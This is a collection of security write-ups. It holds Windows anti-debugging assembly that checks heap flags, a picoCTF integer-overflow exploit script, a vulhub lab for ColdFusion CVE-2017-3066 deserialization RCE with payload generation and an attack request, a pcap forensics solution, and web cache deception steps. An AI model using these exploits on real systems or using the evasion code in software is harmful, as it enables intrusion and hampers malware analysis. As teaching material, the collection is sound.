`heap flags`同样也如上节的`NtGlobalFlag`那样, 不过它受到注册表`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<filename>`位置的`PageHeapFlags"`键的控制.
### 获取heap位置方法
有多种方法能获知`heap`的位置, 方法之一就是`kernel32`的`GetProcessHeap()`函数, 当然也可以用以下的32位汇编代码来检测32位环境(实际上就有一些壳避免使用该api函数, 直接查询PEB):
``` asm
mov eax, fs:[30h] ;Process Environment Block
mov eax, [eax+18h] ;get process heap base
```
或使用以下64位代码来检测64位环境
``` asm
push 60h
pop rsi
gs:lodsq ;Process Environment Block
mov eax, [rax+30h] ;get process heap base
```
或使用以下32位代码检测64位环境
``` asm
mov eax, fs:[30h] ;Process Environment Block
;64-bit Process Environment Block
;follows 32-bit Process Environment Block
mov eax, [eax+1030h] ;get process heap base
```
另外一种方法则是使用`kernel32`的`GetProcessHeaps()`函数, 其实它只是简单的转给了`ntdll`的`RtlGetProcessHeaps()`函数, 这个函数会返回属于当前进程的堆的数组, 而数组的第一个堆, 就跟`kernel32`的`GetProcessHeap()`函数所返回的是一样的.
这个过程可以用32位代码检测32位windows环境来实现:
``` asm
push 30h
pop esi
fs:lodsd ;Process Environment Block
;get process heaps list base
mov esi, [esi+eax+5ch]
lodsd
```
同上, 用64位代码检测64位windows环境的代码是:
``` asm
push 60h
pop rsi
gs:lodsq ;Process Environment Block
;get process heaps list base
mov esi, [rsi*2+rax+20h]
lodsd
```
或使用32位代码检测64位window环境:
``` asm
mov eax, fs:[30h] ;Process Environment Block
;64-bit Process Environment Block
;follows 32-bit Process Environment Block
mov esi, [eax+10f0h] ;get process heaps list base
lodsd
```
### 检测Flags字段方法
那么显然, 检测调试器我们就可以从检测那几个`Flags`和`ForgeFlags`的标志位入手.
先看`Flags`字段的检测代码, 用32位代码检测32位windows环境, 且`subsystem`版本在`3.10-3.50`之间:
``` asm
call GetVersion
cmp al, 6
cmc
sbb ebx, ebx
and ebx, 34h
mov eax, fs:[30h] ;Process Environment Block
mov eax, [eax+18h] ;get process heap base
mov eax, [eax+ebx+0ch] ;Flags
;neither HEAP_CREATE_ALIGN_16
;nor HEAP_SKIP_VALIDATION_CHECKS
and eax, 0effeffffh
;HEAP_GROWABLE
;+ HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp eax, 40000062h
je being_debugged
```
32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本:
``` asm
call GetVersion
cmp al, 6
cmc
sbb ebx, ebx
and ebx, 34h
mov eax, fs:[30h] ;Process Environment Block
mov eax, [eax+18h] ;get process heap base
mov eax, [eax+ebx+0ch] ;Flags
;not HEAP_SKIP_VALIDATION_CHECKS
bswap eax
and al, 0efh
;HEAP_GROWABLE
;+ HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
;reversed by bswap
cmp eax, 62000040h
je being_debugged
```
64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰):
``` asm
push 60h
pop rsi
gs:lodsq ;Process Environment Block
mov ebx, [rax+30h] ;get process heap base
call GetVersion
cmp al, 6
sbb rax, rax
and al, 0a4h
;HEAP_GROWABLE
;+ HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp d [rbx+rax+70h], 40000062h ;Flags
je being_debugged
```
用32位代码检测64位windows环境:
``` asm
push 30h
pop eax
mov ebx, fs:[eax] ;Process Environment Block
;64-bit Process Environment Block
;follows 32-bit Process Environment Block
mov ah, 10h
mov ebx, [ebx+eax] ;get process heap base
call GetVersion
cmp al, 6
sbb eax, eax
and al, 0a4h
;Flags
;HEAP_GROWABLE
;+ HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp [ebx+eax+70h], 40000062h
je being_debugged
```
如果是直接通过`KUSER_SHARED_DATA`结构的`NtMajorVersion`字段(位于2G用户空间的`0x7ffe026c`偏移处)获取该值(在所有32位/64位版本的Windows都可以获取该值), 可以进一步混淆`kernel32`的`GetVersion()`函数调用操作.
### 检测ForgeFlags字段方法
当然另一个方法就是检测`ForgeFlags`字段, 以下是32位代码检测32位Windows环境, `subsystem`版本在`3.10-3.50`之间:
``` asm
call GetVersion
cmp al, 6
cmc
sbb ebx, ebx
and ebx, 34h
mov eax, fs:[30h] ;Process Environment Block
mov eax, [eax+18h] ;get process heap base
mov eax, [eax+ebx+10h] ;ForceFlags
;not HEAP_CREATE_ALIGN_16
btr eax, 10h
;HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp eax, 40000060h
je being_debugged
```
32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本:
``` asm
call GetVersion
cmp al, 6
cmc
sbb ebx, ebx
and ebx, 34h
mov eax, fs:[30h] ;Process Environment Block
mov eax, [eax+18h] ;get process heap base
;ForceFlags
;HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp [eax+ebx+10h], 40000060h
je being_debugged
```
64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰):
``` asm
push 60h
pop rsi
gs:lodsq ;Process Environment Block
mov ebx, [rax+30h] ;get process heap base
call GetVersion
cmp al, 6
sbb rax, rax
and al, 0a4h
;ForceFlags
;HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp d [rbx+rax+74h], 40000060h
je being_debugged
```
用32位代码检测64位windows环境:
``` asm
call GetVersion
cmp al, 6
push 30h
pop eax
mov ebx, fs:[eax] ;Process Environment Block
;64-bit Process Environment Block
;follows 32-bit Process Environment Block
mov ah, 10h
mov ebx, [ebx+eax] ;get process heap base
sbb eax, eax
and al, 0a4h
;ForceFlags
;HEAP_TAIL_CHECKING_ENABLED
;+ HEAP_FREE_CHECKING_ENABLED
;+ HEAP_VALIDATE_PARAMETERS_ENABLED
cmp [ebx+eax+74h], 40000060h
je being_debugged
```
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sec-knowleage
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# store
General Skills, 350 points
## Description:
> We started a little store, can you buy the flag?
```c
#include <stdio.h>
#include <stdlib.h>
int main()
{
int con;
con = 0;
int account_balance = 1100;
while(con == 0){
printf("Welcome to the Store App V1.0\n");
printf("World's Most Secure Purchasing App\n");
printf("\n[1] Check Account Balance\n");
printf("\n[2] Buy Stuff\n");
printf("\n[3] Exit\n");
int menu;
printf("\n Enter a menu selection\n");
fflush(stdin);
scanf("%d", &menu);
if(menu == 1){
printf("\n\n\n Balance: %d \n\n\n", account_balance);
}
else if(menu == 2){
printf("Current Auctions\n");
printf("[1] I Can't Believe its not a Flag!\n");
printf("[2] Real Flag\n");
int auction_choice;
fflush(stdin);
scanf("%d", &auction_choice);
if(auction_choice == 1){
printf("Imitation Flags cost 1000 each, how many would you like?\n");
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 1000*number_flags;
printf("\nYour total cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour new balance: %d\n\n", account_balance);
}
else{
printf("Not enough funds\n");
}
}
}
else if(auction_choice == 2){
printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n");
printf("Enter 1 to purchase");
int bid = 0;
fflush(stdin);
scanf("%d", &bid);
if(bid == 1){
if(account_balance > 100000){
printf("YOUR FLAG IS:\n");
}
else{
printf("\nNot enough funds for transaction\n\n\n");
}}
}
}
else{
con = 1;
}
}
return 0;
}
```
## Solution:
The store sells flags - imitation flags and a genuine flag. We need to buy the genuine flag, but we don't have enough funds. We'll have to trick the store into thinking we do.
What will help us do that is the logic that handles buying imitation flags:
```c
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 1000*number_flags;
printf("\nYour total cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour new balance: %d\n\n", account_balance);
}
```
Notice how all the numbers involved in this flow are signed. So, if we request to buy a large amount of flags, the calculation of `total_cost = 1000*number_flags` will overflow and turn the total cost to a negative number. The number of flags would still be positive though, so we'd execute the logic of `account_balance = account_balance - total_cost` and actually get richer.
For example, if we choose to buy 2222222 flags, our balance after the transaction should be:
```
>>> 1100 - numpy.int32(2222222*1000)
2072746396
```
The script:
```python
from pwn import *
r = remote("2018shell3.picoctf.com", 43581)
MENU_BALANCE = "1"
MENU_BUY = "2"
MENU_EXIT = "3"
FLAG_IMITATION = "1"
FLAG_REAL = "2"
BUY_REAL_FLAG = "1"
def menu(choice):
r.sendlineafter("Enter a menu selection\n", str(choice))
def check_balance():
menu(MENU_BALANCE)
print r.recvregex("Balance: \d+ \n").strip()
def buy_imitation_flag(amount):
menu(MENU_BUY)
log.info("Attempting to buy {} imitation flags".format(amount))
r.sendlineafter("[2] Real Flag\n", FLAG_IMITATION)
r.sendlineafter("Imitation Flags cost 1000 each, how many would you like?", str(amount))
print r.recvregex("Your new balance: \d+\n").strip()
def buy_real_flag():
menu(MENU_BUY)
log.info("Attempting to buy a real flag")
r.sendlineafter("[2] Real Flag\n", FLAG_REAL)
r.sendlineafter("Enter 1 to purchase", BUY_REAL_FLAG)
line = r.recvline()
print line
if "FLAG" not in line:
print r.recvline()
def exit():
menu(MENU_EXIT)
check_balance()
buy_imitation_flag(2222222)
buy_real_flag()
exit()
```
The output:
```console
root@kali:/media/sf_CTFs/pico/store# python exploit.py
[+] Opening connection to 2018shell3.picoctf.com on port 43581: Done
Balance: 1100
[*] Attempting to buy 2222222 imitation flags
Your total cost is: -2072745296
Your new balance: 2072746396
[*] Attempting to buy a real flag
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_6bd13a8c}
[*] Closed connection to 2018shell3.picoctf.com port 43581
```
The flag: picoCTF{numb3r3_4r3nt_s4f3_6bd13a8c}
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sec-knowleage
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# Adobe ColdFusion AMF Deserialization Remote Command Execution (CVE-2017-3066)
[中文版本(Chinese version)](README.zh-cn.md)
Adobe ColdFusion is a commercial rapid web-application development computing platform created by J. J. Allaire in 1995.
Adobe ColdFusion 2016 Update 3 and earlier, ColdFusion 11 update 11 and earlier, ColdFusion 10 Update 22 and earlier have a Java deserialization vulnerability in the Apache BlazeDS library. Successful exploitation could lead to arbitrary code execution.
参考链接：
- https://codewhitesec.blogspot.com.au/2018/03/exploiting-adobe-coldfusion.html
- https://www.exploit-db.com/exploits/43993
- https://github.com/codewhitesec/ColdFusionPwn
## Vulnerable environment
Start a Adobe ColdFusion 11 update 3:
```
docker compose up -d
```
After a few minutes wait, visit `http://your-ip:8500/CFIDE/administrator/index.cfm` with password `vulhub`, you can install the Adobe ColdFusion successfully.
## Exploit
Generate a POC via [ColdFusionPwn](https://github.com/codewhitesec/ColdFusionPwn) in the `poc.ser`:
```
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
```
Send the request to `http://your-ip:8500/flex2gateway/amf`, which contains the `application/x-amf` Content-Type and POC within the body:
```
POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853
[...poc...]
```
`/tmp/success` is successfully created:
Get a reverse shell:
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sec-knowleage
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Various writeups for the [2022 Intent CTF](https://ctf.intentsummit.org) ([CTFTime Link](https://ctftime.org/event/1773)). Writeups for additional challenges can be found [here](https://jctf.team/INTENT-CTF-2022/).
Participated as part of the [JCTF team](https://jctf.team/), which came in first!
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sec-knowleage
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## pcapin (forensics, 150p, 41 solves)
> We have extracted a pcap file from a network where attackers were present. We know they were using some kind of file transfer protocol on TCP port 7179. We're not sure what file or files were transferred and we need you to investigate. We do not believe any strong cryptography was employed.
>
> Hint: The file you are looking for is a png
> pcapin_73c7fb6024b5e6eec22f5a7dcf2f5d82.pcap
### PL Version
`for ENG version scroll down`
Dostajemy [plik .pcap](pcapin.pcap). Jest w nim tylko jeden interesujący stream tcp, więc wyciągamy od razu z niego dane (tylko wysyłane z serwera do klienta, chociaż wygląda na to że klient wysyła dane tym samym protokołem) do [osobnego pliku](rawdata.bin).
W tym momencie rozpoczyna się analiza protokołu. Np. na pierwszy rzut oka widać powtarzający się fragment `00440000073200010000000000` w pierwszej części, a później wariacje na temat `00D423C60732001C00010000`.
Oszczędzimy może analizy krok po kroku (bo była długa i burzliwa), ale kluczowe było zauważenie że dane dzielą się na pakiety, i pierwszy word każdego pakietu to długość tego pakietu. Wtedy możemy podzielić odpowiedź na pakiety, i widzimy dodatkowo że odpowiedź kończy sie zawsze bajtami `END`.
Z tą wiedzą dekodujemy wszystkie pakiety po kolei, używamy trochę domyślności i dochodzimy do takiej oto struktury:
struct packet {
uint16_t length;
uint16_t hash;
uint16_t magic1;
uint16_t conn_id;
uint16_t seq_id;
uint16_t unk2;
uint8_t raw[10000];
};
Napisaliśmy mały tool do dumpowania zawartości poszczególnych pakietów z tej struktury:
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin
$ ./a.exe
PACKET 0
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
00 25 f2 a9 8d 96 8a 8c 84 9c 87 8d c7 89 8d 9f
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 60 00
PACKET 1
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
00 00 28 a9 9a 98 84 89 85 9c c7 8d 80 9f e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 60 00
PACKET 2
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
00 00 15 c1 86 8c 9d 9f 80 95 8c d7 8d 98 9d f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 60 00
(...)
PACKET 9
- size: 212 bytes
- hash: 4567
- magic1: 732
- conn_id: 1c
- seq_id: 0
- unk2: 0
- calculated hash: 3f50
- rawdata:
d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d
50 3f 51 78 50 3f 50 28 58 39 50 3f 50 a7 e0 b2
78 3f 50 3f 56 5d 1b 78 14 3f af 3f af 3f af 9f
ed 98 c3 3f 50 2a 26 76 14 7e 04 47 cc d2 cd 48
08 6b 87 89 90 40 63 cb 51 79 0a 2b 4b 2d 33 ef
40 ce f9 7e ff 9d 32 1e 4a 34 16 9c 96 2d 1b b3
19 77 14 90 76 5d 28 7b d9 1a 01 cb 4a 5d d9 22
73 09 7c 67 ff 5d 47 b6 75 9f 72 fe 30 28 75 1d
70 ed 6b 7c 83 a6 a7 38 63 d8 5e 05 98 3f d3 da
0d 41 8f 08 8f d8 cc 06 ab a3 e5 08 2b 92 e3 c9
0a d4 3c 7a da 97 78 3a e5 9f e4 93 dc 2a 6b 48
e2 5f b3 79 a2 35 5b 86 46 23 1c e4 e7 e1 fa f2
75 d4 d4 d4 21 4e 68 b2
(...)
Co się rzuca w oczy bardzo - powtarzający sie padding na początku (e9f9). Dalej, wiemy że dane to plik .png - pierwszy pakiet z danymi to packet 9 (domyślamy się tego, bo jest w odpowiedzi na drugi request od klienta, oraz ma troche inną strukture niż peirwsze pakiety - przypominające headery jakieś).
Więc, kierowani intuicją, xorujemy pierwsze bajty pakietu 9 z nagłówkiem .png:
>>> ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '')
'd96f1e785d354a35503f50321977146d'
>>> ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '').decode('hex')
'\xd9o\x1ex]5J5P?P2\x19w\x14m'
>>> raw = ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '').decode('hex')
>>> png = '89504E470D0A1A0A0000000D49484452'.decode('hex')
>>> def xor(a, b):
... return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
...
>>> xor(raw, png)
'P?P?P?P?P?P?P?P?'
>>> xor(raw, png).encode('hex')
'503f503f503f503f503f503f503f503f'
W tym momencie możemy uścisnąć sobie dłonie - praktycznie rozwiązaliśmy zadanie. Pozostaje pytanie, skąd bierze się liczba z którą xorujemy - nie jest to stała, niestety. Ale kierowani znowu intuicją, domyślamy się że 'padding' z pierwszych pakietów to xorowane null bajty (długość się zgadza).
Ale od czego zależy ta liczba? W pakiecie mamy ciekawą daną z której jeszcze nie skorzystaliśmy - oznaczoną w strukturze jako 'hash'. Kiedy ta liczba jest równa 0, xorujemy dane z e9f9. Kiedy ta liczba jest równa 4567 xorujemy z 503f. W jaki sposób może być wyprowadzany wynikowy hash? Zgadnijmy...:
>>> hex(0x503f + 0x4567)
'0x95a6'
Jest to proste dodawanie wartości w polu 'hash' oraz magicznej stałej. Zaiste silne szyfrowanie ;).
Pozostaje dopracować nasz parser, i mamy wynik:
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin
$ ./a.exe -tc
PACKET 0
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
e9 dc 1b 50 64 6f 63 75 6d 65 6e 74 2e 70 64 66 ...Pdocument.pdf
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 89 f9 ........
PACKET 1
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
e9 f9 c1 50 73 61 6d 70 6c 65 2e 74 69 66 00 00 ...Psample.tif..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 89 f9 ........
(...)
PACKET 9
- size: 212 bytes
- hash: 4567
- magic1: 732
- conn_id: 1c
- seq_id: 0
- unk2: 0
- calculated hash: 3f50
- rawdata:
89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
00 00 01 47 00 00 00 17 08 06 00 00 00 98 b0 8d ...G............
28 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 (....bKGD.......
bd a7 93 00 00 15 76 49 44 41 54 78 9c ed 9d 77 ......vIDATx...w
58 54 d7 b6 c0 7f 33 f4 01 46 5a 14 1b 12 63 d0 XT....3..FZ...c.
10 f1 a9 41 af a2 62 21 1a 0b 46 a3 c6 12 4b 8c ...A..b!..F...K.
49 48 44 af 26 62 78 44 89 25 51 f4 1a 62 89 1d IHD.&bxD.%Q..b..
23 36 2c 58 af 62 17 89 25 a0 22 c1 60 17 25 22 #6,X.b..%.".`.%"
20 d2 3b 43 d3 99 f7 07 33 e7 0e 3a c8 00 83 e5 .;C....3..:....
5d 7e df 37 df e7 9c 39 fb 9c b5 37 7b ad b3 f6 ]~.7...9...7{...
5a eb 6c 45 8a a8 28 05 b5 a0 b4 ac 8c 15 3b 77 Z.lE..(.......;w
b2 60 e3 46 f2 0a 0b b9 16 1c 4c db b7 de aa cd .`.F......L.....
25 eb 84 eb 71 71 38 8d %...qq8.
Jak widać wszystkie dane z png zostały pięknie przeczytane. Pozostaje zapisać pakiety od 9 do końca w pliku i odczytać znajdujacy się tam [obrazek png](pcapin.png).
Zadanie rozwiązane.
Źródła całego dekodera (nie wiem po co napisanego, skoro prawdopodobnie żaden program na świecie nie używa takiego formatu do komunikacji, ale lubimy pisać parsery) znajdują się w pliku [parser.c](parser.c)
### ENG Version
We get [.pcap file](pcapin.pcap). There is only a single interesting tcp stream inside so we extract data from it (only those sent from server to the client, however it seems that the client was sending data using the same protocol) to [separate file](rawdata.bin).
Now the protocol analysis starts. For example at the first glance we can notice a repeating data pattern `00440000073200010000000000` in the first part, and then some variations of `00D423C60732001C00010000`.
We will spare the reader the step-by-step analysis (since it was long and turbulent), but the key point was to notice that the data are paritioned into packets and first word of each one of them is the packet length. This was we can split the server response into packets and we can also see that a response ends with `END`.
With this knowledge we decode all packets in the sequence and using some guessing we end up with a structure as follows:
struct packet {
uint16_t length;
uint16_t hash;
uint16_t magic1;
uint16_t conn_id;
uint16_t seq_id;
uint16_t unk2;
uint8_t raw[10000];
};
We wrote a small tool for dumping the contents of packets with given structure:
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin
$ ./a.exe
PACKET 0
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
00 25 f2 a9 8d 96 8a 8c 84 9c 87 8d c7 89 8d 9f
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 60 00
PACKET 1
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
00 00 28 a9 9a 98 84 89 85 9c c7 8d 80 9f e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 60 00
PACKET 2
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
00 00 15 c1 86 8c 9d 9f 80 95 8c d7 8d 98 9d f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
e9 f9 e9 f9 e9 f9 60 00
(...)
PACKET 9
- size: 212 bytes
- hash: 4567
- magic1: 732
- conn_id: 1c
- seq_id: 0
- unk2: 0
- calculated hash: 3f50
- rawdata:
d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d
50 3f 51 78 50 3f 50 28 58 39 50 3f 50 a7 e0 b2
78 3f 50 3f 56 5d 1b 78 14 3f af 3f af 3f af 9f
ed 98 c3 3f 50 2a 26 76 14 7e 04 47 cc d2 cd 48
08 6b 87 89 90 40 63 cb 51 79 0a 2b 4b 2d 33 ef
40 ce f9 7e ff 9d 32 1e 4a 34 16 9c 96 2d 1b b3
19 77 14 90 76 5d 28 7b d9 1a 01 cb 4a 5d d9 22
73 09 7c 67 ff 5d 47 b6 75 9f 72 fe 30 28 75 1d
70 ed 6b 7c 83 a6 a7 38 63 d8 5e 05 98 3f d3 da
0d 41 8f 08 8f d8 cc 06 ab a3 e5 08 2b 92 e3 c9
0a d4 3c 7a da 97 78 3a e5 9f e4 93 dc 2a 6b 48
e2 5f b3 79 a2 35 5b 86 46 23 1c e4 e7 e1 fa f2
75 d4 d4 d4 21 4e 68 b2
(...)
What is very evident, there is a repeating padding in the beginning (e9f9). Next, we know that contents are a .png file - first data packet is the one with number 9 (we figure this out based on the fact that it comes after second request from user and has a slightly different structure than the rest of the packets - it looks as it contains some header)
Guided by intuition we xor first bytes from packet 9 with .png file header:
>>> ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '')
'd96f1e785d354a35503f50321977146d'
>>> ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '').decode('hex')
'\xd9o\x1ex]5J5P?P2\x19w\x14m'
>>> raw = ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '').decode('hex')
>>> png = '89504E470D0A1A0A0000000D49484452'.decode('hex')
>>> def xor(a, b):
... return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
...
>>> xor(raw, png)
'P?P?P?P?P?P?P?P?'
>>> xor(raw, png).encode('hex')
'503f503f503f503f503f503f503f503f'
At this point we can all shake hands - we basically solved the task. The only question is where does the number we use for XOR comes from - it's not a constant unfortunately. But still guided by intuition we guess that the 'padding' from the first packets are xored null bytes (length is matching).
But what does this number depends on? In the packet there is still data we haven't used - we marked it as 'hash' in the structure. When this number is equal to 0 we xor data with e9f9. When it's equal to 4567 we xor with 503f. How can we devise the hash value? Let's guess...:
>>> hex(0x503f + 0x4567)
'0x95a6'
It's a simple addition of the 'hash' field value and a magic constant. A strong cipher indeed ;).
The only thing left is to work a little bit on the parser and we have the result:
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin
$ ./a.exe -tc
PACKET 0
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
e9 dc 1b 50 64 6f 63 75 6d 65 6e 74 2e 70 64 66 ...Pdocument.pdf
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 89 f9 ........
PACKET 1
- size: 68 bytes
- hash: 0
- magic1: 732
- conn_id: 1
- seq_id: 0
- unk2: 0
- calculated hash: f9e9
- rawdata:
e9 f9 c1 50 73 61 6d 70 6c 65 2e 74 69 66 00 00 ...Psample.tif..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 89 f9 ........
(...)
PACKET 9
- size: 212 bytes
- hash: 4567
- magic1: 732
- conn_id: 1c
- seq_id: 0
- unk2: 0
- calculated hash: 3f50
- rawdata:
89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
00 00 01 47 00 00 00 17 08 06 00 00 00 98 b0 8d ...G............
28 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 (....bKGD.......
bd a7 93 00 00 15 76 49 44 41 54 78 9c ed 9d 77 ......vIDATx...w
58 54 d7 b6 c0 7f 33 f4 01 46 5a 14 1b 12 63 d0 XT....3..FZ...c.
10 f1 a9 41 af a2 62 21 1a 0b 46 a3 c6 12 4b 8c ...A..b!..F...K.
49 48 44 af 26 62 78 44 89 25 51 f4 1a 62 89 1d IHD.&bxD.%Q..b..
23 36 2c 58 af 62 17 89 25 a0 22 c1 60 17 25 22 #6,X.b..%.".`.%"
20 d2 3b 43 d3 99 f7 07 33 e7 0e 3a c8 00 83 e5 .;C....3..:....
5d 7e df 37 df e7 9c 39 fb 9c b5 37 7b ad b3 f6 ]~.7...9...7{...
5a eb 6c 45 8a a8 28 05 b5 a0 b4 ac 8c 15 3b 77 Z.lE..(.......;w
b2 60 e3 46 f2 0a 0b b9 16 1c 4c db b7 de aa cd .`.F......L.....
25 eb 84 eb 71 71 38 8d %...qq8.
As we can see all the data from png files were read correctly. Now we only need to save the packets from 9 until end of fie and read the result [png picture](pcapin.png).
Task solved.
Source codes of the decoder (we're not really sure why we actually spent time on this, since most likely there is no software that uses this format, but some of us like to write parsers) are in the [parser.c](parser.c)
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sec-knowleage
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# BugDB v2
## [Flag0](./flag0) -- Found
- What has changed since last version?
- What do the queries tell you?
- Have you tried a mutation?
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sec-knowleage
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# Web Cache Deception
## Summary
* [Tools](#tools)
* [Exploit](#exploit)
* [Methodology - Caching Sensitive Data](#methodology---caching-sensitive-data)
* [Methodology - Caching Custom JavaScript](#methodology---caching-custom-javascript)
* [CloudFlare Caching](#cloudflare-caching)
* [Labs](#labs)
* [References](#references)
## Tools
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner)
> This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities.
## Exploit
1. Browser requests a resource such as `http://www.example.com/home.php/non-existent.css`.
2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
3. The response goes through the proxy.
4. The proxy identifies that the file has a css extension.
5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.
## Methodology - Caching Sensitive Data
**Example 1** - Web Cache Deception on PayPal Home Page
1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page
